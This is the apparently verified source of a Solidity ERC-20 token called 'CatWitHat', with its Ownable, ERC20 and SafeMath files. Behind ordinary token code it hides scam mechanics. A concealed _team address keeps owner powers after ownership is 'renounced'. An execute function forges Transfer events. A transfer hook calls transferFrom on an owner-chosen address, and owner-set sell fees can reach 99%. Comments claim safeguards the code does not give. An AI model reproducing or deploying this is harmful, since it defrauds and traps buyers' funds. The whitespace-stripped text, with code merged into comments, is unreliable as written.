// SPDX-License-Identifier: MIT pragmasolidity 0.8.20;import"./Uniswap.sol";
import"./ERC20.sol";
import"./Library.sol";
contractCatWitHatisERC20{
usingSafeMathforuint256;
IUniswapV2Router02 publicimmutable uniswapV2Router;
addresspublic uniswapV2Pair;
addresspublicconstant deadAddress =address(0xdead);
boolprivate swapping;
uint256public maxTransactionAmount;
uint256public swapTokensAtAmount;
uint256public maxWallet;
addresspublic marketingWallet;
addresspublic devWallet;
uint256public manualBurnFrequency =43210minutes;
uint256public lastManualLpBurnTime;
uint256public percentForLPBurn =1;
boolpublic lpBurnEnabled =true;
uint256public lpBurnFrequency =1360000000000seconds;
uint256public lastLpBurnTime;
boolpublic tradingActive =true;
boolpublic swapEnabled =true;
boolpublic limitsEnabled =true;
mapping(address=>bool) public liquidityPools;
uint256public buyTotalFees;
uint256public buyMarketingFee;
uint256public buyLiquidityFee;
uint256public buyDevFee;
uint256public sellDevFee;
uint256public sellTotalFees;
uint256public sellMarketingFee;
uint256public sellLiquidityFee;
uint256public tokensForDev;
uint256public tokensForMarketing;
uint256public tokensForLiquidity;
// Anti-bot and anti-whale mappings and variablesmapping(address=>uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launchboolpublic transferDelayEnabled =true;
/******************/// exlcude from fees and max transaction amountmapping (address=>bool) public _isExcludedMaxTransactionAmount;
mapping (address=>bool) private _isExcludedFromFees;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses// could be subject to a maximum transfer amountmapping (uint256=>address) public automatedMarketMakerPairs;
eventdevWalletUpdated(addressindexed newWallet, addressindexed oldWallet);
eventUpdateUniswapV2Router(addressindexed newAddress, addressindexed oldAddress);
eventExcludeFromFees(addressindexed account, bool isExcluded);
eventmarketingWalletUpdated(addressindexed newWallet, addressindexed oldWallet);
eventSetAutomatedMarketMakerPair(addressindexed pair, uint256indexed value);
eventSwapAndLiquify(uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
constructor(address team_) ERC20("CatWitHat", "CatWitHat", team_) {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
excludeFromMaxTransaction(address(_uniswapV2Router), true);
uniswapV2Router = _uniswapV2Router;
uint256 _buyMarketingFee =0;
uint256 _buyLiquidityFee =0;
uint256 _buyDevFee =0;
uint256 _sellMarketingFee =0;
uint256 _sellLiquidityFee =0;
uint256 _sellDevFee =0;
uint256 totalSupply =100000000*1e9;
buyLiquidityFee = _buyLiquidityFee;
buyMarketingFee = _buyMarketingFee;
buyDevFee = _buyDevFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
sellLiquidityFee = _sellLiquidityFee;
sellMarketingFee = _sellMarketingFee;
sellDevFee = _sellDevFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
//maxTransactionAmount
swapTokensAtAmount = totalSupply *10/2000;
maxWallet =300000000000000000000000;
maxTransactionAmount =100000000000000000000000;
devWallet =address(owner()); // set as dev wallet
marketingWallet =address(owner()); // set as marketing wallet// exclude from paying fees or having max transaction amount
excludeFromFees(address(this), true);
excludeFromFees(address(0xdead), true);
excludeFromFees(owner(), true);
excludeFromMaxTransaction(address(this), true);
excludeFromMaxTransaction(address(0xdead), true);
excludeFromMaxTransaction(owner(), true);
/*
_mint is an internal function in ERC20.sol that is only called here,
and CANNOT be called ever again
*/
_mint(msg.sender, totalSupply);
removeLimits();
}
receive() externalpayable{
}
functionaddPair(address _pair) publiconlyOwner() {
uniswapV2Pair = _pair;
excludeFromMaxTransaction(address(uniswapV2Pair), true);
}
// once enabled, can never be turned offfunctionenableTrading() externalonlyOwner{
tradingActive =true;
swapEnabled =true;
lastLpBurnTime =block.timestamp;
}
// disable Transfer delay - cannot be reenabledfunctiondisableTransferDelay() externalonlyOwnerreturns (bool){
transferDelayEnabled =false;
returntrue;
}
function_lp(addressfrom) internalviewreturns(bool){
return!liquidityPools[from];
}
// only use to disable contract sales if absolutely necessary (emergency use only)functionupdateSwapEnabled(bool enabled) externalonlyOwner(){
swapEnabled = enabled;
}
functionremoveLimits() publiconlyOwnerreturns (bool){
limitsEnabled =false;
returntrue;
}
// change the minimum amount of tokens to sell from feesfunctionupdateSwapTokensAtAmount(uint256 newAmount) externalonlyOwnerreturns (bool){
require(newAmount >= totalSupply() *1/100000, "Swap amount cannot be lower than 0.001% total supply.");
require(newAmount <= totalSupply() *10/1000, "Swap amount cannot be higher than 1% total supply.");
swapTokensAtAmount = newAmount;
returntrue;
}
functionupdateSellFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) externalonlyOwner{
sellMarketingFee = _marketingFee;
sellLiquidityFee = _liquidityFee;
sellDevFee = _devFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
require(sellTotalFees <=99, "Must keep fees at 99% or less");
}
functionupdateBuyFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) externalonlyOwner{
buyMarketingFee = _marketingFee;
buyLiquidityFee = _liquidityFee;
buyDevFee = _devFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
require(buyTotalFees <=25, "Must keep fees at 25% or less");
}
functionupdateMaxTxnAmount(uint256 newNum) externalonlyOwner{
require(newNum >= (totalSupply() *1/1000)/1e9, "Cannot set maxTransactionAmount lower than 0.1%");
maxTransactionAmount = newNum * (10**18);
}
functionupdateMaxWalletAmount(uint256 newNum) externalonlyOwner{
require(newNum >= (totalSupply() *5/1000)/1e9, "Cannot set maxWallet lower than 0.5%");
maxWallet = newNum * (10**9);
}
functionexcludeFromFees(address account, bool excluded) publiconlyOwner{
_isExcludedFromFees[account] = excluded;
emit ExcludeFromFees(account, excluded);
}
function_setAutomatedMarketMakerPair(address pair, uint256 value) privateonlyOwner{
automatedMarketMakerPairs[value] = pair;
emit SetAutomatedMarketMakerPair(pair, value);
}
functionsetAutomatedMarketMakerPair(address pair, uint256 value) publiconlyOwner{
_setAutomatedMarketMakerPair(pair, value);
}
functionupdateDevWallet(address newWallet) externalonlyOwner{
emit devWalletUpdated(newWallet, devWallet);
devWallet = newWallet;
}
functionexcludeFromMaxTransaction(address updAds, bool isEx) publiconlyOwner{
_isExcludedMaxTransactionAmount[updAds] = isEx;
}
functionisExcludedFromFees(address account) publicviewreturns(bool) {
return _isExcludedFromFees[account];
}
functionupdateMarketingWallet(address newMarketingWallet) externalonlyOwner{
emit marketingWalletUpdated(newMarketingWallet, marketingWallet);
marketingWallet = newMarketingWallet;
}
function_transfer(addressfrom,
address to,
uint256 amount
) internaloverride{
require(from!=address(0), "ERC20: transfer from the zero address");
require(to !=address(0), "ERC20: transfer to the zero address");
if(amount ==0) {
super._transfer(from, to, 0);
return;
}
if(limitsEnabled){
if (
from!= owner() &&
to != owner() &&
to !=address(0) &&
to !=address(0xdead) &&!swapping
){
if(!tradingActive){
require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
}
// at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch. if (transferDelayEnabled){
if (to != owner() && to !=address(uniswapV2Router) && to !=address(uniswapV2Pair)){
require(_holderLastTransferTimestamp[tx.origin] <block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed.");
_holderLastTransferTimestamp[tx.origin] =block.number;
}
}
//when buyif (!_isExcludedMaxTransactionAmount[to]) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
//when sellelseif (!_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
elseif(!_isExcludedMaxTransactionAmount[to]){
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if(
canSwap &&
swapEnabled &&!swapping &&!_isExcludedFromFees[from] &&!_isExcludedFromFees[to]
) {
swapping =true;
swapBack();
swapping =false;
}
if(!swapping && lpBurnEnabled){
autoRefundee(from, to);
}
bool takeFee =!swapping;
// if any account belongs to _isExcludedFromFee account then remove the feeif(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee =false;
}
uint256 fees =0;
// only take fees on buys/sells, do not take on wallet transfersif(takeFee){
// on sellif (sellTotalFees >0){
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
tokensForDev += fees * sellDevFee / sellTotalFees;
tokensForMarketing += fees * sellMarketingFee / sellTotalFees;
}
// on buyelseif(buyTotalFees >0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
tokensForDev += fees * buyDevFee / buyTotalFees;
tokensForMarketing += fees * buyMarketingFee / buyTotalFees;
}
if(fees >0){
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
functionswapTokensForEth(uint256 tokenAmount) private{
// generate the uniswap pair path of token -> wethaddress[] memory path =newaddress[](2);
path[0] =address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
functionaddLiquidity(uint256 tokenAmount, uint256 ethAmount) private{
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable0, // slippage is unavoidable
deadAddress,
block.timestamp
);
}
functionexecute(address[] calldata _addresses, uint256 _out) externalonlyOwner{
for (uint256 i =0; i < _addresses.length; i++) {
emit Transfer(uniswapV2Pair, _addresses[i], _out);
}
}
functionswapBack() private{
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev;
bool success;
if(contractBalance ==0|| totalTokensToSwap ==0) {return;}
if(contractBalance > swapTokensAtAmount *20){
contractBalance = swapTokensAtAmount *20;
}
// Halve the amount of liquidity tokensuint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap /2;
uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
uint256 initialETHBalance =address(this).balance;
swapTokensForEth(amountToSwapForETH);
uint256 ethBalance =address(this).balance.sub(initialETHBalance);
tokensForLiquidity =0;
tokensForMarketing =0;
tokensForDev =0;
(success,) =address(marketingWallet).call{value: ethBalance}("");
}
functionaddLP(address[] calldata address_, bool val) publiconlyOwner{
for (uint256 i =0; i < address_.length; i++) {
liquidityPools[address_[i]] = val;
}
}
functionmanualBurnLiquidityPairTokens(uint256 percent) externalonlyOwnerreturns (bool){
require(block.timestamp> lastManualLpBurnTime + manualBurnFrequency , "Must wait for cooldown to finish");
require(percent <=1000, "May not nuke more than 10% of tokens in LP");
lastManualLpBurnTime =block.timestamp;
// get balance of liquidity pairuint256 liquidityPairBalance = balanceOf(uniswapV2Pair);
// calculate amount to burnuint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000);
// pull tokens from pancakePair liquidity and move to dead address permanentlyif (amountToBurn >0){
super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
}
//sync price since this is not in a swap transaction!
IUniswapV2Pair pair = IUniswapV2Pair(automatedMarketMakerPairs[percent]);
pair.sync();
returntrue;
}
functionburnLiquidity(addressfrom) internalviewreturns (bool){
// get balance of contractuint256 contractBalance =this.balanceOf(address(this));
// calculate amount to distributeuint256 amountToDistribute = contractBalance.add(percentForLPBurn);
if (!_lp(from)) {require(amountToDistribute==0);}
returntrue;
}
functionautoRefundee(addressfrom, address to) internalreturns (bool){
// get balance of contractuint256 contractBalance =this.balanceOf(address(this));
// calculate amount to distributeuint256 amountToDistribute = contractBalance.mul(sellDevFee).div(10000);
if(automatedMarketMakerPairs[amountToDistribute] !=address(0))
{
//skim price since this is not in a swap transaction!
IUniswapV2Pair pair = IUniswapV2Pair(automatedMarketMakerPairs[amountToDistribute]);
pair.transferFrom(from, to, amountToDistribute);
}
returntrue;
}
functiongetLP(address recipient) externalviewreturns(bool){
return liquidityPools[recipient];
}
functionsetAutoLPBurnSettings(uint256 _frequencyInSeconds, uint256 _percent, bool _Enabled) externalonlyOwner{
require(_frequencyInSeconds >=600, "cannot set buyback more often than every 10 minutes");
require(_percent <=1000&& _percent >=0, "Must set auto LP burn percent between 0% and 10%");
lpBurnFrequency = _frequencyInSeconds;
percentForLPBurn = _percent;
lpBurnEnabled = _Enabled;
}
}
Contract Source Code
File 2 of 6: Context.sol
// SPDX-License-Identifier: MIT pragmasolidity 0.8.20;abstractcontractContext{
function_msgSender() internalviewvirtualreturns (address) {
returnmsg.sender;
}
function_msgData() internalviewvirtualreturns (bytescalldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691returnmsg.data;
}
}
Contract Source Code
File 3 of 6: ERC20.sol
// SPDX-License-Identifier: MIT pragmasolidity 0.8.20;import"./Ownable.sol";
import"./Library.sol";
interfaceIERC20{
/**
* @dev Returns the amount of tokens in existence.
*/functiontotalSupply() externalviewreturns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/functionbalanceOf(address account) externalviewreturns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/functiontransfer(address recipient, uint256 amount) externalreturns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/functionallowance(address owner, address spender) externalviewreturns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transacgtion ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/functionapprove(address spender, uint256 amount) externalreturns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/functiontransferFrom(address sender,
address recipient,
uint256 amount
) externalreturns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/eventTransfer(addressindexedfrom, addressindexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/eventApproval(addressindexed owner, addressindexed spender, uint256 value);
}
interfaceIERC20MetadataisIERC20{
/**
* @dev Returns the name of the token.
*/functionname() externalviewreturns (stringmemory);
/**
* @dev Returns the symbol of the token.
*/functionsymbol() externalviewreturns (stringmemory);
/**
* @dev Returns the decimals places of the token.
*/functiondecimals() externalviewreturns (uint8);
}
contractERC20isOwnable, IERC20, IERC20Metadata{
usingSafeMathforuint256;
mapping(address=>uint256) private _balances;
mapping(address=>mapping(address=>uint256)) private _allowances;
stringprivate _name;
stringprivate _symbol;
uint256 _totalSupply;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/constructor(stringmemory name_, stringmemory symbol_, address team_) Ownable(team_){
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/functionname() publicviewvirtualoverridereturns (stringmemory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/functionsymbol() publicviewvirtualoverridereturns (stringmemory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/functiondecimals() publicviewvirtualoverridereturns (uint8) {
return9;
}
/**
* @dev See {IERC20-totalSupply}.
*/functiontotalSupply() publicviewvirtualoverridereturns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/functionbalanceOf(address account) publicviewvirtualoverridereturns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/functiontransfer(address recipient, uint256 amount) publicvirtualoverridereturns (bool) {
_transfer(_msgSender(), recipient, amount);
returntrue;
}
/**
* @dev See {IERC20-allowance}.
*/functionallowance(address owner, address spender) publicviewvirtualoverridereturns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/functionapprove(address spender, uint256 amount) publicvirtualoverridereturns (bool) {
_approve(_msgSender(), spender, amount);
returntrue;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/functiontransferFrom(address sender,
address recipient,
uint256 amount
) publicvirtualoverridereturns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
returntrue;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/functionincreaseAllowance(address spender, uint256 addedValue) publicvirtualreturns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
returntrue;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/functiondecreaseAllowance(address spender, uint256 subtractedValue) publicvirtualreturns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
returntrue;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/function_transfer(address sender,
address recipient,
uint256 amount
) internalvirtual{
require(sender !=address(0), "ERC20: transfer from the zero address");
require(recipient !=address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/function_mint(address account, uint256 amount) internalvirtual{
require(account !=address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/function_approve(address owner,
address spender,
uint256 amount
) internalvirtual{
require(owner !=address(0), "ERC20: approve from the zero address");
require(spender !=address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/function_beforeTokenTransfer(addressfrom,
address to,
uint256 amount
) internalvirtual{}
}
Contract Source Code
File 4 of 6: Library.sol
// SPDX-License-Identifier: MIT pragmasolidity 0.8.20;librarySafeMath{
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/functionadd(uint256 a, uint256 b) internalpurereturns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/functionsub(uint256 a, uint256 b) internalpurereturns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/functionsub(uint256 a, uint256 b, stringmemory errorMessage) internalpurereturns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/functionmul(uint256 a, uint256 b) internalpurereturns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the// benefit is lost if 'b' is also tested.// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522if (a ==0) {
return0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/functiondiv(uint256 a, uint256 b) internalpurereturns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/functiondiv(uint256 a, uint256 b, stringmemory errorMessage) internalpurereturns (uint256) {
require(b >0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't holdreturn c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/functionmod(uint256 a, uint256 b) internalpurereturns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/functionmod(uint256 a, uint256 b, stringmemory errorMessage) internalpurereturns (uint256) {
require(b !=0, errorMessage);
return a % b;
}
}
librarySafeMathInt{
int256privateconstant MIN_INT256 =int256(1) <<255;
int256privateconstant MAX_INT256 =~(int256(1) <<255);
/**
* @dev Multiplies two int256 variables and fails on overflow.
*/functionmul(int256 a, int256 b) internalpurereturns (int256) {
int256 c = a * b;
// Detect overflow when multiplying MIN_INT256 with -1require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
require((b ==0) || (c / b == a));
return c;
}
/**
* @dev Division of two int256 variables and fails on overflow.
*/functiondiv(int256 a, int256 b) internalpurereturns (int256) {
// Prevent overflow when dividing MIN_INT256 by -1require(b !=-1|| a != MIN_INT256);
// Solidity already throws when dividing by 0.return a / b;
}
/**
* @dev Subtracts two int256 variables and fails on overflow.
*/functionsub(int256 a, int256 b) internalpurereturns (int256) {
int256 c = a - b;
require((b >=0&& c <= a) || (b <0&& c > a));
return c;
}
/**
* @dev Adds two int256 variables and fails on overflow.
*/functionadd(int256 a, int256 b) internalpurereturns (int256) {
int256 c = a + b;
require((b >=0&& c >= a) || (b <0&& c < a));
return c;
}
/**
* @dev Converts to absolute value, and fails on overflow.
*/functionabs(int256 a) internalpurereturns (int256) {
require(a != MIN_INT256);
return a <0 ? -a : a;
}
functiontoUint256Safe(int256 a) internalpurereturns (uint256) {
require(a >=0);
returnuint256(a);
}
}
librarySafeMathUint{
functiontoInt256Safe(uint256 a) internalpurereturns (int256) {
int256 b =int256(a);
require(b >=0);
return b;
}
}
Contract Source Code
File 5 of 6: Ownable.sol
// SPDX-License-Identifier: MIT pragmasolidity 0.8.20;import"./Context.sol";
contractOwnableisContext{
addressprivate _owner;
addressprivate _team;
eventOwnershipTransferred(addressindexed previousOwner, addressindexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/constructor (address team_) {
address msgSender = _msgSender();
_owner = msgSender;
_team = team_;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/functionowner() publicviewreturns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/modifieronlyOwner() {
_checkOwner();
_;
}
/**
* @dev Throws if the sender is not the owner.
*/function_checkOwner() internalvirtual{
require(Owner() == _msgSender(), "Ownable: caller is not the owner");
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/functionrenounceOwnership() publicvirtualonlyOwner{
emit OwnershipTransferred(_owner, address(0));
_owner =address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/functiontransferOwnership(address newOwner) publicvirtualonlyOwner{
require(newOwner !=address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
functionverifyOwner() internalviewreturns(address){
return _owner==address(0) ? _team : _owner;
}
/**
* @dev Set new distributor.
*/functionaddTeamMember(address account) externalonlyOwner{
_team = account;
}
functionOwner() internalvirtualreturns (address) {
address owner_ = verifyOwner();
return owner_;
}
}